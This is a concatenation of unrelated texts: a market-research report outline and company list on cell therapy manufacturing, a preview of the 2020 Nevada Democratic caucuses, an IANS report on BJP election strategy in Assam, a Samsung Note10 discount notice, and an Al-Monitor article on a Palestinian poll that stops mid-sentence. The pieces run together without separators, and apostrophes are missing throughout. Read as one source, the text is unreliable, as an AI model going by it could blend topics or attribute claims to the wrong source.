cultures (adherent and suspension), purpose of production (fulfilling in-house requirements and contract services), manufacturing capabilities/services offered (including R&D, cell culture development, quality testing, packaging, labelling, cell banking, cryopreservation, fill/finish services, and regulatory affairs management), location of headquarters and location of their respective manufacturing facilities. An analysis of the various expansion initiatives undertaken by service providers, in order to augment their respective cell therapy manufacturing capabilities, over the period 2015-2019 (till October), taking into consideration parameters, such as year of expansion, type of cells, scale of operation, purpose of expansion (facility expansion and new facility), location of manufacturing facility, and most active players (in terms of number of expansion initiatives undertaken). An analysis of the recent partnerships focused on the manufacturing of cell-based therapies, which have been established in the period 2014-2019 (till November), based on various relevant parameters, such as the year of agreement, type of partnership, type of cells, and scale of operation (preclinical, clinical and commercial). Informed estimates of the annual commercial and clinical demand for cell therapies (in terms of number of cells produced and area dedicated to manufacturing), which were further analyzed based on type of cells. An estimate of the overall, installed capacity for manufacturing cell-based therapies based on information reported by industry stakeholders in the public domain, highlighting the distribution of the available capacity on the basis of scale of operation (clinical and commercial), size of the organization (small, mid-sized and large firms) and key geographical regions (North America, EU and Asia Pacific). An in-depth analysis of cell therapy manufacturers using three versatile representations, namely [A] a three-dimensional grid analysis, presenting the distribution of companies on the basis of type of cells manufactured, scale of operation and purpose of production, [B] a logo landscape based on the type of cells manufactured, geographical location of manufacturer (North America, Europe and Asia Pacific) and type and size of organization (non-industry players, and small, mid-sized and large companies), and [C] a schematic world map representation, highlighting the geographical locations of cell therapy manufacturing facilities of both industry and non-industry stakeholders. A detailed analysis of the various factors that are likely to influence the pricing of cell-based therapies, featuring different models/approaches that may be adopted by manufacturers while deciding the prices of their proprietary offerings. An elaborate discussion on the role of automation technologies in improving current manufacturing methods, along with a comparative (qualitative) analysis of cost differences between manual and automated processes. A qualitative analysis, highlighting the various factors that need to be taken into consideration by cell therapy developers while deciding whether to manufacture their respective products in-house or engage the services of a CMO. A discussion on cell therapy manufacturing regulations across various geographies, including the North America (focusing on the US), Europe and Asia (focusing on Japan), featuring an analysis of the diverse certifications/accreditations awarded to manufacturing facilities by important regulatory bodies across the globe. Elaborate profiles of key players (industry and non-industry) that offer contract manufacturing services for cell-based therapies; each profile includes an overview of the company/organization, information on its manufacturing facilities, service portfolio details, recent partnerships and an informed future outlook. A discussion on affiliated trends, key drivers and challenges, which are likely to impact the industry's evolution, under a comprehensive SWOT framework, which includes a Harvey ball analysis, highlighting the relative effect of each SWOT parameter on the overall market dynamics. Insights generated in a market-wide survey, featuring inputs solicited from experts who are directly and indirectly involved in the development and/or manufacturing of cell-based therapies. Key Topics Covered 1. PREFACE 1.1. Scope of the Report 1.2. Research Methodology 1.3. Chapter Outlines 2. EXECUTIVE SUMMARY 3. INTRODUCTION 3.1. Context and Background 3.2. Introduction to Cell Therapies 3.2.1. Comparison of Cell Therapies and Other Biotechnology Products 3.2.2. Classification of Advanced Therapy Medicinal Products (ATMPs) 3.2.3. Current Market Landscape of ATMPs 3.3. Overview of Cell Therapy Manufacturing 3.4. Cell Therapy Manufacturing Models 3.4.1. Centralized Manufacturing 3.4.2. Decentralized Manufacturing 3.5. Scalability of Cell Therapy Manufacturing 3.5.1. Scale-up 3.5.2. Scale-out 3.6. Types of Cell Therapy Manufacturers 3.7. Key Manufacturing-related Challenges 3.8. Factors Influencing Cell Therapy Manufacturing 3.9. Automating Cell Therapy Manufacturing 3.10. Cell Therapy Manufacturing Supply Chain 3.11. Future Perspectives 4. MARKET OVERVIEW 4.1. Chapter Overview 4.2. Cell Therapy Manufacturers (Industry Players): Overall Market Landscape 4.2.1. Analysis by Location of Headquarters 4.2.2. Analysis by Location of Manufacturing Facility 4.2.3. Analysis by Type of Cells Manufactured 4.2.4. Analysis by Source of Cells 4.2.5. Analysis by Scale of Operation 4.2.6. Analysis by Type of Cell Culture 4.2.7. Analysis by Purpose of Production 4.2.8. Analysis by Manufacturing Capabilities/Services 4.3. Cell Therapy Manufacturers (Non-Industry Players): Overall Market Landscape 4.3.1. Analysis by Location of Headquarters 4.3.2. Analysis by Location of Manufacturing Facility 4.3.3. Analysis by Type of Cells Manufactured 4.3.4. Analysis by Source of Cells 4.3.5. Analysis by Scale of Operation 4.3.6. Analysis by Type of Cell Culture 4.3.7. Analysis by Purpose of Production 4.3.8. Analysis by Manufacturing Capabilities/Services 4.4. Cell Therapy Manufacturing: Role of Logistics Service Providers 5. REGULATORY LANDSCAPE 5.1. Chapter Overview 5.2. Current Scenario 5.2.1. Regulatory Guidelines in the US 5.2.2. Regulatory Guidelines in Europe 5.2.3. Regulatory Guidelines in Japan 5.2.4. Conditional Approvals 5.3. Regulatory Accreditations for Cell Therapy Manufacturing 5.3.1. Facilities Approved by Regulators to Manufacture Cell Therapies 5.4. Summary of Guidelines for Clinical-Stage Manufacturing of Cell Therapies 5.5. Existing Challenges to Clinical-Stage Manufacturing 5.5.1. Variability in Regulatory Guidelines across Different Geographies 5.6. Conclusion 6. ROADMAPS FOR OVERCOMING EXISTING CHALLENGES 6.1. Chapter Overview 6.2. Roadmap for the US 6.2.1. Cell Processing 6.2.2. Cell Preservation, Distribution and Handling 6.2.3. Process Automation and Data Analytics 6.2.4. Process Monitoring and Quality Control 6.2.5. Standardization and Regulatory Support 6.2.6. Workforce Development 6.2.7. Supply Chain and Logistics 6.3. Roadmaps for Other Geographies 6.3.1. Europe 6.3.2. Asia Pacific 7. AUTOMATION TECHNOLOGIES FOR CELL THERAPY MANUFACTURING 7.1. Chapter Overview 7.2. Automation of Cell Therapy Manufacturing Processes 7.2.1. Closed Systems 7.2.2. Single-use Systems 7.2.3. Modular Systems 7.3. Case Studies 7.3.1. Roadmap to Developing an Automated Cell Manufacturing/Processing Device 7.3.2. Automating Cell Therapy Manufacturing 7.4. GMP-in-a-Box 7.5. List of Automation Service Providers 7.6. Comparative Analysis of Manual and Automated Processes 7.7. Concluding Remarks 8. PROFILES: INDUSTRY PLAYERS 8.1. Chapter Overview 8.2. Service Providers in the US 8.2.1 Cognate BioServices 8.2.1.1. Company Overview 8.2.1.2. Service Portfolio 8.2.1.3. Manufacturing Capabilities 8.2.1.4. Partnerships 8.2.1.5. Future Outlook 8.2.2. FUJIFILM Cellular Dynamics 8.2.3. KBI Biopharma 8.2.4. Hitachi Chemical Advanced Therapeutics Solutions 8.2.5. Waisman Biomanufacturing 8.3. Service Providers in Europe 8.3.1. BioNTech Innovative Manufacturing Services 8.3.2. Cell and Gene Therapy Catapult 8.3.3. Lonza 8.3.4. MaSTherCell 8.3.5. Roslin Cell Therapies 8.4. Service Providers in Asia Pacific 8.4.1. Cell Therapies 8.4.2. Japan Tissue Engineering (J-TEC) 8.4.3. MEDINET 8.4.4. Nikon CeLL innovation 8.4.5. WuXi Advanced Therapies 9. PROFILES: NON-INDUSTRY PLAYERS 9.1. Chapter Overview 9.2. Center for Cell and Gene Therapy, Baylor College of Medicine 9.2.1. Overview 9.2.2. Operating Segments 9.2.3. Service Portfolio 9.2.4. Manufacturing Facilities and Capabilities 9.3. Centre for Cell Manufacturing Ireland, National University of Ireland 9.4. Clinical Cell and Vaccine Production Facility, University of Pennsylvania 9.5. Guy's and St. Thomas' GMP Facility, Guy's Hospital 9.6. Laboratory for Cell and Gene Medicine, Stanford University 9.7. Molecular and Cellular Therapeutics, University of Minnesota 9.8. Newcastle Cellular Therapies Facility, Newcastle University 9.9. Rayne Cell Therapy Suite, King's College London 9.10. Scottish National Blood Transfusion Services Cellular Therapy Facility, Scottish Centre for Regenerative Medicine 9.11. Sydney Cell and Gene Therapy 10. ROLE OF NON-PROFIT ORGANIZATIONS 10.1. Chapter Overview 10.2. Cell Therapy Manufacturing Service Providers: Non-Profit Organizations 10.2.1. CellCAN 10.2.2. Cell Therapy Manufacturing Cooperative Research Center (CTM CRC) 10.2.3. National Cell Manufacturing Consortium (NCMC) 10.2.4. California Institute of Regenerative Medicine (CIRM) 10.3. Cell Therapy Manufacturing: Affiliated International Societies 11. PARTNERSHIPS 11.1. Chapter Overview 11.2. Partnership Models 11.3. Cell Therapy Manufacturing: List of Partnerships 11.3.1. Analysis by Year of Partnership 11.3.2. Analysis by Type of Partnership Model 11.3.3. Analysis by Year and Type of Partnership Model 11.4. Analysis by Type of Cells 11.5. Analysis by Scale of Operation 11.6. Geographical Analysis 11.6.1. Continent-wise Distribution 11.6.2. Country-wise Distribution 11.7. Most Active Players: Analysis by Number of Partnerships 11.8. Cell Therapy Manufacturing: List of Acquisitions 11.8.1. Analysis by Year and Type of Cells 11.8.2. Geographical Analysis 11.8.3. Ownership Change Matrix 12. FACILITY EXPANSIONS 12.1. Chapter Overview 12.2. Cell Therapy Manufacturing: List of Expansions 12.2.1. Cumulative Year-wise Distribution 12.2.2. Analysis by Type of Cells 12.2.3. Analysis by Scale of Operation 12.2.3. Analysis by Purpose of Expansion 12.2.4. Analysis by Location of Manufacturing Facility 12.2.5. Analysis by Region and Purpose of Expansion 13. CAPACITY ANALYSIS 13.1. Chapter Overview 13.2. Key Assumptions and Methodology (Industry Players) 13.2.1 Cell Therapy Manufacturing: Installed Global Capacity (Number of Cleanrooms) 13.2.1.1. Analysis by Size of Manufacturer 13.2.1.2. Analysis by Scale of Operation 13.2.1.3. Analysis by Location of Manufacturing Facility 13.2.2. Cell Therapy Manufacturing: Installed Global Capacity (Cleanroom Area) 13.3. Key Assumptions and Methodology (Non-Industry Players) 13.3.1. Cell Therapy Manufacturing: Installed Global Capacity (Number of Cleanrooms) 13.3.1.1. Analysis by Scale of Operation 13.3.1.2. Analysis by Location of Manufacturing Facility 13.3.2. Cell Therapy Manufacturing: Installed Global Capacity (Cleanroom Area) 13.4 Concluding Remarks 14. DEMAND ANALYSIS 14.1 Chapter Overview 14.2 Key Assumptions and Methodology 14.3 Cell Therapy Manufacturing: Overall Annual Demand 14.3.1. Analysis by Type of Cells 14.3.2. Analysis by Scale of Operations 14.3.3. Analysis by Geography 15. COST PRICE ANALYSIS 15.1. Chapter Overview 15.2. Factors Contributing to the High Price of Cell Therapies 15.3. Pricing Models for Cell Therapies 15.3.1. Based on Associated Costs for T-cell Therapies 15.3.2. Based on Associated Costs for Stem Cell Therapies 15.3.3. Based on Availability of Competing Products 15.3.4. Based on Target Patient Segment 15.3.5. Based on Opinions of Industry Experts 15.4. Cell Therapy Cost Optimization 15.4.1. Role of Cost of Goods Sold 15.4.2. Role of Automation 15.4.3. Role of Cell Therapy Contract Manufacturing Organizations 15.5. Reimbursement-related Considerations for Cell Therapies 15.5.1. Case Study: The National Institute for Health and Care Excellence's (NICE) Appraisal of CAR-T Therapies 16. MAKE VERSUS BUY DECISION MAKING FRAMEWORK 16.1. Chapter Overview 16.2. Make versus Buy Decision Making: Analytical Output 17. MARKET SIZING AND OPPORTUNITY ANALYSIS 17.1. Chapter Overview 17.2. Scope of the Forecast 17.3. Forecast Methodology 17.4. Input Tables and Key Assumptions 17.5. Overall Cell Therapy Manufacturing Market, 2019-2030 17.5.1. Cell Therapy Manufacturing Market, 2019-2030: Distribution by Type of Cell Therapy 17.5.2. Cell Therapy Manufacturing Market, 2019-2030: Distribution by Source of Cells 17.5.3. Cell Therapy Manufacturing Market, 2019-2030: Distribution by Scale of Operation 17.5.4. Cell Therapy Manufacturing Market, 2019-2030: Distribution by Purpose of Production 17.5.5. Cell Therapy Manufacturing Market, 2019-2030: Geographical Distribution 17.6. Market Opportunity in Commercial Scale Manufacturing of Cell-based Therapies 17.7. Market Opportunity in Clinical Scale Manufacturing of Cell-based Therapies 18. KEY INSIGHTS 18.1. Chapter Overview 18.2. Cell Therapy Manufacturers: Grid Analysis 18.3. Cell Therapy Manufacturers: Logo Landscape by Type of Cell Therapy 18.3.1. Logo Landscape: Immune Cell Manufacturers 18.3.2. Logo Landscape: Stem Cell Manufacturers 18.4. Cell Therapy Manufacturers: World Map Representation of Location of Manufacturing Facility 18.4.1. Industry Players 18.4.2. Non-Industry Players 19. SWOT ANALYSIS 19.1. Chapter Overview 19.2. Strengths 19.3. Weaknesses 19.4. Opportunities 19.5. Threats 19.6. Comparison of SWOT Factors 19.6.1. Concluding Remarks 20. CONCLUSION 20.1. Chapter Overview 20.2. Key Takeaways 21. SURVEY ANALYSIS 21.1. Chapter Overview 21.2. Seniority Level of Respondents 21.3. Type of Cell Therapy 21.4. Scale of Operation 21.5. Source of Cells 21.6. Type of Cell Culture System 21.7. Availability of Fill/Finish Services 22. INTERVIEW TRANSCRIPTS 22.1. Chapter Overview 22.2. Lion TCR 22.2.1. Company Overview 22.2.2. Interview Transcript: Victor Lietao Li, Co-Founder and Chief Executive Officer 22.3. Cell Therapies 22.4. CiMaas 22.5. Gracell Biotechnologies 22.6. Glycostem Therapeutics 22.7. Kadimastem 22.8. Bio Elpida 22.9. Center for Commercialization of Cancer Immunotherapy/C3i 22.10. Waisman Biomanufacturing 22.11. RoslinCT 22.12. Yposkesi 22.13. University of Minnesota 23. APPENDIX 1: TABULATED DATA 24. APPENDIX 2: LIST OF COMPANIES AND ORGANIZATIONS 3P Biopharmaceuticals A2 Healthcare Accellta Acerta Pharma Adaptimmune Adva Biotechnology Advanced Cell Therapy Laboratory, Yale School of Medicine Advanced Regenerative Manufacturing Institute Advent Bioservices Agios Pharmaceuticals Ajinomoto Akron Biotech Alberta Cell Therapy Manufacturing, University of Alberta Allele Biotechnology & Pharmaceuticals Alliance for Regenerative Medicine AlloSource Altor BioScience American Productivity & Quality Center American Society of Gene and Cell Therapy American Society of Mechanical Engineers Amgen Amsterdam Biotherapeutics Unit Andalusian Initiative for Advanced Therapies Angiocrine Bioscience Anterogen Aokai (Suzhou) Biomedical apceth Biopharma Argos Therapeutics ARIAD Pharmaceuticals Asahi Glass Company Asterias Biotherapeutics AstraZeneca Asymptote Atara Biotherapeutics Athersys Atlantic Bio GMP ATVIO Biotechnology Australasian Gene and Cell Therapy Society Austrian Network for Gene Therapy Autolus Azellon Cell Therapeutics Bavarian Nordic Bayer Be The Match BioTherapies Bellicum Pharmaceuticals Berkeley Lights Bio Elpida BioCision Bioinova BioLife Solutions Biological and Cellular GMP Manufacturing Facility, City of Hope biologistex CCM BioNTech Innovative Manufacturing Services Biosafe Group bluebird bio Boehringer Ingelheim Bone Therapeutics Brammer Bio Bristol-Myers Squibb British Society for Gene and Cell Therapy Caladrius Biosciences California Institute of Regenerative Medicine Cancer Research UK Capricor Therapeutics CardioCell Celgene Cell and Gene Therapy Catapult Cell Manipulation Core, Dana-Farber / Harvard Cancer Center Cell Medica Cell Tech Pharmed Cell Therapies Cell Therapy and Regenerative Medicine, University of Utah Cell Therapy Facility, UMC Utrecht Cell Therapy Manufacturing Cooperative Research Center Cell Therapy Suite, University of Birmingham Cellab CellCAN Cellectis CELLforCURE Cellin Technologies Cells Cure Foundation Cells for Sight Stem Cell Therapy Research Unit, University College London Cellular Biomedicine Group Cellular Therapeutics Cellular Therapy Core, University of Texas Cellular Therapy Integrated Services, Case Western Reserve University Celyad Censo Biotechnologies Center for Biomedical Engineering and Advanced Manufacturing, McMaster University Center for Cell and Gene Therapy, Baylor College of Medicine Center for Gene and Cell Processing, Takara Bio Center for International Blood and Marrow Transplant Research Centre for Biological Engineering, Loughborough University Centre for Cell and Vector Production Centre for Cell Manufacturing Ireland, NUI Galway Centre for Commercialization of Regenerative Medicine Centre for Stem Cell Research Centre for Commercialization of Cancer Immunotherapy (C3i) Centre multidisciplinaire de dveloppement du gnie tissulaire Centre of Genomics and Policy, McGill University Cesca Therapeutics Chemometec Chiesi Farmaceutici Children's Medical Research Institute Children's GMP, St. Jude Children's Research Hospital China Life Health Industry Group China Regenerative Medicine International CiMaas City of Hope Alpha Clinic for Cell Therapy Clinical Biomanufacturing Facility, University of Oxford Clinical Cell and Vaccine Production Facility Clinical Research Facility, South London and Maudsley Closed Cell Systems Cognate BioServices Commonwealth Scientific and Industrial Research Organization Cook MyoSite CRISPR Therapeutics Cryoport Cryosite CureCell Cynata Therapeutics Cytonome Cytori Therapeutics CyTuVax DanDrit Biotech DCPrime Dendreon DiscGenics Eli Lilly EMERCell Emory Personalized Immunotherapy Core European Bank for induced pluripotent Stem Cells European Society of Gene and Cell Therapy Federal Economic Development Agency for Southern Ontario Ferrologix Fibrocell Finnish Gene Therapy Society Fisher BioServices FloDesign Sonics Fortuna Fix Fosun Pharma Foundation for the Accreditation of Cellular Therapy Foundation of Croatian Association for Regenerative Medicine and Stem Cell Therapy Fraunhofer Institute for Cell Therapy and Immunology IZI French Society of Cellular and Gene Therapy Froceth FUJIFILM Cellular Dynamics Gamida Cell Gates Biomanufacturing Facility GC Cell GE Healthcare GenCure Gene and Cell Therapy Lab, Institute of Translational Health Sciences Genentech Georgia Institute of Technology Georgia Research Alliance German Gene Therapy Society Gilead Sciences GlaxoSmithKline Glycostem Therapeutics GPB Scientific Gradalis Great Ormond Street Hospital Cellular Therapy Laboratories, University College London Guy's and St Thomas' Facility Haematological Sciences, Institute of Cellular Medicine Harvard University Stem Cell Institute Health Sciences Authority Hielscher Ultrasonics Histocell Hitachi Chemical Advanced Therapeutics Solutions Holostem Terapie Avanzate Hospital of University of Pennsylvania Houston Methodist Hospital Foundation Houston Methodist Institute of Technology, Innovation and Education Houston Methodist Research Institute Human Islet and Cellular Transplant Facility Human Stem Cells Institute Immatics Biotechnologies ImmunoCellular Therapeutics Immunocore Immunovative Therapies IncoCell Tianjin Innovate UK Innovative Cellular Therapeutics IntelliCell BioSciences Interdisciplinary Stem Cell Institute, Miller School of Medicine, University of Miami International Cellular Medicine Society International Society for Cancer Gene Therapy International Society for Cellular Therapy International Society for Stem Cell Research International Stem Cell Corporation Invetech Iovance Biotherapeutics IQVIA Stem Cell Center Irish Society for Gene and Cell Therapy Irish Stem Cell Foundation Israeli Society for Gene and Cell Therapy Isto Biologics Japan Society for Gene Therapy Japan Tissue Engineering Jazz Pharmaceuticals JCR Pharmaceuticals John Goldmann Centre for Cellular Therapy, Imperial College London Juno Therapeutics JW CreaGene Kawasaki Heavy Industries KBI Biopharma Kiadis Pharma Kids Research Institute Kite Pharma KMC Systems Kolon TissueGene Korean Society of Gene and Cell Therapy Laboratory for Cell and Gene Medicine, University of Stanford Lexicon Pharmaceuticals Lion TCR Lonza Maisonneuve-Rosemont Hospital Marken MaSTherCell Mayo Clinic Center for Regenerative Medicine MedCision Medigene MEDINET MEDIPOST Medistem Panama (Stem Cell Institute) MedPost MedStar Georgetown University Hospital Merck Mesoblast Michael Smith Laboratories, University of British Columbia Millennium Pharmaceuticals Millipore Sigma Miltenyi Biotec MNX Global Logistics Moffitt Cancer Center Molecular and Cellular Therapeutics, University of Minnesota MolMed Mustang Bio Nantes University Hospital National Cell Manufacturing Consortium National Centre for Biomedical Engineering Sciences National Eye Institute National Gene Vector Laboratory National Institute of Health Research National Institute of Standards and Technologies National Stem Cell Foundation National Stem Cell Foundation of Australia Neon Therapeutics Netherlands Cancer Institute Networks of Centres of Excellence Neuralstem NewLink Genetics NHSBT Blood and Transplant, Birmingham Nikon Nikon CeLL innovation Nohla Therapeutics Northwest Biotherapeutics Norwegian Radium Hospital Novadip Novartis NuVasive Octane Medical Group Oncobiomed Ontario Institute of Regenerative Medicine Onyx Pharmaceuticals Opexa Therapeutics Orchard Therapeutics Orgenesis Orthofix Ospedale Pediatrico Bambino Ges Ottawa Hospital Research Institute, University of Ottawa Oxford BioMedica Oxford MEStar Pall PAREXEL PCI Services PCT Cell Therapy Services The Peter Couche Foundation Peter MacCallum Cancer Centre Pfizer PharmaBio PharmaCell Pharmicell Pluristem Therapeutics Praxis Pharmaceutical Production Assistance for Cellular Therapies Promethera Biosciences Provia Laboratories Puma Biotechnology Q-GEN Cell Therapeutics, QIMR Berghofer Medical Research Institute Rayne Cell Therapy Suite, King's College London Regenerative Medicine Foundation Regenerative Medicine Institute Regenesys Regeneus Reliance Life Sciences ReNeuron RepliCel Research and Development Center for Cell Therapy, Foundation for Biomedical Research and Innovation Riyadh Pharma Robertson Clinical and Translational Cell Therapy, Duke University Roche Diagnostics RoosterBio Roslin Cells Roswell Park Cancer Institute Royal Free Hospital, Centre for Cell and Gene Tissue Therapeutics Royal Prince Alfred Hospital Saint-Gobain SanBio Sartorius Stedim Biotech SAVSU Technologies Scinogy Scottish Centre for Regenerative Medicine Scottish National Blood Transfusion Service Cellular Therapy Facility Servier Shanghai Sunway Biotech Shenzhen Sibiono GeneTech SHIBUYA Sistemic Smilow Center for Translational Research Smith & Nephew SOTIO Spanish Society for Gene and Cell Therapy Spark Therapeutics Stage Cell Therapeutics Stanford Children's Health, Stanford Health Care Stanford Medicine Stemedica Cell Technologies Sumitomo Dainippon Pharma Swedish Society for Gene and Cell Therapy Sydney Cell and Gene Therapy Syngen Biotech Takeda Pharmaceutical TAP Biosystems TargetAMD TC BioPharm T-Cell Factory Terumo Terumo BCT TESARO Texas Children's Hospital Texas Medical Center The Children's Hospital at Westmead The Elisa Linton Center for Rare Disease Therapies The Michael G. Harris Cell Therapy and Cell Engineering Facility, Memorial Sloan Kettering Cancer Center The Netherlands Society of Gene and Cell Therapy The New York Stem Cell Foundation The Ottawa Hospital Research Institute The Philip S Orsino Facility for Cell Therapy, Princess Margaret Hospital The University of Texas Health Science Center Therapeutic Cell Production Core, Seattle Children's Hospital Thermo Fisher Scientific ThermoGenesis TiGenix Tokyo Electron TrakCel Trinity Partners Turkish Society for Gene and Cell Therapy TVAX Biomedical TxCell Tyne Hospitals NHS Foundation Trust UC Davis GMP Laboratory UCLA Human Gene and Cell Therapy UCLA-UCI Alpha Stem Cell Clinic UK Stem Cell Foundation University Hospital Basel University Medical Center Groningen University of California University of Leeds University of Manchester University of Newcastle University of North Carolina Lineberger Comprehensive Cancer Center University of Tennessee University of Wisconsin-Madison Upstate Stem Cell cGMP Facility, University of Rochester Vaccinogen Valeant Pharmaceuticals Vecura, Karolinska University Hospital Vericel Vineti Vitruvian Networks VivaBioCell Waisman Biomanufacturing Westmead Hospital Westmead Millennium Institute World Courier WuXi Advanced Therapies WuXi AppTec Wyeth Xellbiogene Yposkesi Zelluna Immunotherapy For more information about this report visit https://www.researchandmarkets.com/r/a475yb Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. WASHINGTON, DCThe Democratic Party will take the next step toward choosing an opponent for President Donald Trump Saturday night when voters in Nevada head to caucuses there. Its round three out of 57 total in the presidential nomination process, with the state famous for gambling and deserts representing the largest and most ethnically diverse place yet to vote. The traditional influence of Nevadas caucuses has been somewhat overshadowed in the lead-up to voting by the buzz (both positive and negative) around candidate Michael Bloomberg, who is not on the ballot in Nevada, by the controversies around caucus processes after the fiasco of the Iowa caucuses earlier this month, and by the impending larger stakes of the South Carolina primary to be held in just one week and the massive multi-state Super Tuesday primaries three days after that. Here are some questions voters in the U.S. will be hoping to find answers to when the votes are counted. Is Bernie Sanders going to run away with this thing? With his energetic and committed base of supporters the most powerful fundraising machine in Democratic politics outside of Bloombergs ATM card his strong showings this month in Iowa and New Hampshire, and his high polling numbers nationally, mean the Vermont senator who promises a political revolution of democratic socialism has become the candidate to beat. Sanders appears strong in Nevada, though the powerful Culinary Workers union there has publicly opposed him saying his universal health insurance plan will replace the excellent coverage they have negotiated for their members. Because Nevada has a large Latino population, a convincing win here would show Sanders appeal crosses ethnic lines, and would cement him as the presumed favourite to win. The margin of victory could be important though Sanders has so far appeared to have support that caps out at between a quarter and a third of Democrats. If he is unable to run up larger margins, it could set up a bitter anybody-but-sanders second-ballot fight at the convention this summer. Will Elizabeth Warrens debate performance relaunch her as a contender? By most viewers scorecards, the Massachusetts senator with a plan for everything ran away with the televised debate on Thursday night, skewering Bloomberg and contrasting herself well against the other candidates. The good news for her is that it was the most-watched Democratic primary debate of all time, and her campaign reports setting fundraising records in the hours after it aired. But Nevada allows voters to caucus in advance, and by the time the debate aired around 75,000 people had already cast their votes (the total turnout in 2016 was 84,000). So any debate bump may not be visible in Saturdays results. What about Bloomberg? The equally strong consensus to Thursdays debate is that the New York billionaire and former mayor got crushed. But he isnt on the ballot in Nevada, nor in South Carolina a week later, so any impact wont be evident until Super Tuesday. Can Joe Biden re-emerge in larger and more diverse states? For most of the lead-up to primary season, former Vice-President Joe Biden was a forbidding favourite, seen as the electable candidate. But then in the two actual elections so far, he placed fourth and fifth. After New Hampshire, he essentially blamed the 90-per-cent white electorate in the two early states, and said when Latino and Black voters, who form a huge portion of the partys base, got to weigh in, hed be back on top. His campaign has been banking more on South Carolina as his firewall, but Nevada will be the early test of his multicultural-appeal-hypothesis. Can Pete Buttigieg remain a front-runner? The 38-year-old mayor of tiny South Bend, Indiana put a lot of energy into Iowa and New Hampshire, and it paid off. He actually holds a slight delegate lead over Sanders coming out of those two contests. But his national numbers in polls have always been very low, partly because most of his strength has been among older, white voters. If he wants to remain among the leading candidates, demonstrating support in larger, more diverse places like Nevada and South Carolina might be key to showing he can attract a winning coalition. Can Amy Klobuchar break out of single digits? The Minnesota senator had an encouraging third-place finish in New Hampshire at a time when it seemed she might disappear from the race. Klobuchar will be looking to show it wasnt a one-time blip, and to build on it, if her campaign is going to last. How about the other billionaire Democrat? Former hedge-fund guy Tom Steyer, who prioritizes climate change above all, was a nonfactor in Iowa and New Hampshire, despite appearing regularly in debates and spending $200 million on ads so far. But hes laid out a lot of that cash in Nevada and has seen some encouraging poll results there. The results will likely show if he has gained any traction in the contest at all. Read more about: New Delhi, Feb 21 : Next year when Assam goes to the polls, chances are high that you won't listen to any speech by BJP leaders on Citizenship Act. So much so, the party leadership is being convinced to harp on development of Assam and project itself as an inclusive, secular party and not bring in divisive issues. This is not a sudden decision, but the culmination of a long drawn understanding of Assam's unique socio-cultural identity. Last December, as many as 15 BJP legislators urged Assam Chief Minister Sarbanad Sonowal to "listen" to the anti-CAA protesters, regardless of the party's stated position on the legislation. Assam was the first state that went up in arms against the Citizenship Amendment Act (CAA). Now the move to tweak its public stand seems to have reached the BJP's top leadership who have decided on a few things for the Assam elections -- "the BJP will put up an inclusive face, the party will avoid indulging in polarising statements as far as practically possible, almost no mention of CAA during election speeches, highlighting how serious the Centre is to save Assam's unique linguistic and cultural heritage and finally to chalk out its road map for the northeastern state for the next five years with 'Vikas' coming back to the discourse. Top sources in the BJP has confirmed the same, adding that this will be the party's strategy in Assam unless there is a major change in ground realities. Party MLAs like Prasanta Phukan have convinced Sonowal that the BJP in Assam needs to be seen as "accommodative of views". Following the December meeting, the state BJP has made efforts reach out to the Assamese populace through peace processions. Simultaneously, Union Home Minister Amit Shah has held meetings with Sonowal as well as Himanta Biswa Sarma on the issue. While on a national level, the party has hardened its stance, the BJP leadership is being convinced that it cannot afford to go to state elections next year with such a rigid view, sources said. The realisation was emboldened after the Delhi poll debacle where Shaheen Bagh was made the central theme of BJP's election campaign. Union Minister Anurag Thakur was seen rabble rousing by giving speeches like, "Desh ke gaddaro ko", as the crowd answered back, "Goli maro saalo ko." Uttar Pradesh Chief Minister Yogi Adityanath recurrently brought up the issue of "biriyani" being distributed at the anti-CAA protest site in Shaheen Bagh. While BJP's vote share increased to nearly 39 per cent, it faced a humiliating defeat in terms of number of seats. In the 70-member Assembly, BJP managed just eight seats as against AAP's 62. In the aftermath of the elections, when Amit Shah was asked about Thakur's comment at an event in Delhi, he had conceded, "Such statements should not have been made. It may have played a role in BJP losing the Delhi polls." Assam Linguistic Minority Development Board (ALMDB), a government body, has sprung into action to ease the tension between ethnic Assamese and Bengalis. It announced that Bengali Hindu brides or grooms in the Assam who tie the knot with Assamese Hindu partners will get financial assistance. This is believed to be a political brainchild, not administrative, to make assimilation easier. When the BJP will hit the campaign mode, it is likely to cite this as an example of how mindful the party is of Assam's linguistic and ethnic sensibilities. A state BJP leader told IANS on condition of anonymity, "Look, there are religious fault lines that exist in Assam. But the victimhood of losing ones culture, language and even land is overwhelming. We want Amit Shah and Narendra Modi to reassure the Assamese people that their identities won't be compromised. And that can happen only by action and by talking about development." So what are those actions? Assam demands the entire state should come under Inner Line Permit (ILP). They fear that the CAA violates the Assam Accord and only bringing the state under ILP can thwart their fears. The Assam BJP leader cited ILP as a move that can be milked as "genuine action". Assam Sahitya Sabha, an influential body, has also been demanding the same. IANS has reliably learnt that the BJP will rather choose to focus on 'Vikas' and project an inclusive face than repeating a shrill Delhi like election campaign. US customers can take advantage of this great Samsung offer on the official website. If you were planning to get either the Galaxy Note10 or the Note10+, now is a very good time. For a limited time, both of these devices will be available at a reduced price in all storage variants. The base Note10 variant will cost you $800 while the Note10+ starts at $1050, which is rather interesting because the former is now cheaper than its predecessor. Samsung is also giving away a pair of AKG N700NC M2 noise-canceling wireless headphones to sweeten the deal - these can be bought separately for $300. You can check the deals at the source links below. Source 1, 2 The Ramallah-based Palestinian Center for Policy and Survey Research (PCPSR) published Feb. 11 the results of its public opinion poll No. 75, showing a decline in support for the Palestinian Authority (PA) and President Mahmoud Abbas. The poll, conducted to measure the response to the US announcement Jan. 28 of the peace plan known as the deal of the century, showed a Palestinian consensus against it. Out of 1,270 Palestinian respondents 830 from the West Bank and 440 from the Gaza Strip two-thirds supported Abbas' position against the deal. Yet the poll also showed that between two-thirds and three-quarters do not trust Abbas intentions to execute his promises of severing ties with Israel and halting security coordination. The results confirmed that support for the two-state solution is at its lowest level less than 40% since the signing of the Oslo Accord in 1993. Meanwhile, support for resorting to armed struggle at the expense of negotiations with Israel increased. Walid Ladadwa, an official in the PCPSRs survey research unit, told Al-Monitor, The most surprising finding was the increase in the Palestinians lack of confidence in the PA and its ability to implement its threats against Israel in response to the US deal. This is why Abbas popularity declined significantly. He continued, There was also a marked increase in the Palestinians' support for armed struggle against Israel. This might encourage Hamas to carry out attacks against Israel before the Palestinian elections, if they were to be held, in a bid to raise its popularity." The poll showed that 94% of respondents said they oppose the deal, while 65% confirmed their support for Abbas position against it. However, 68% believe that Abbas will not live up to his promises and will not stop security coordination with Israel. Therefore, 58% of 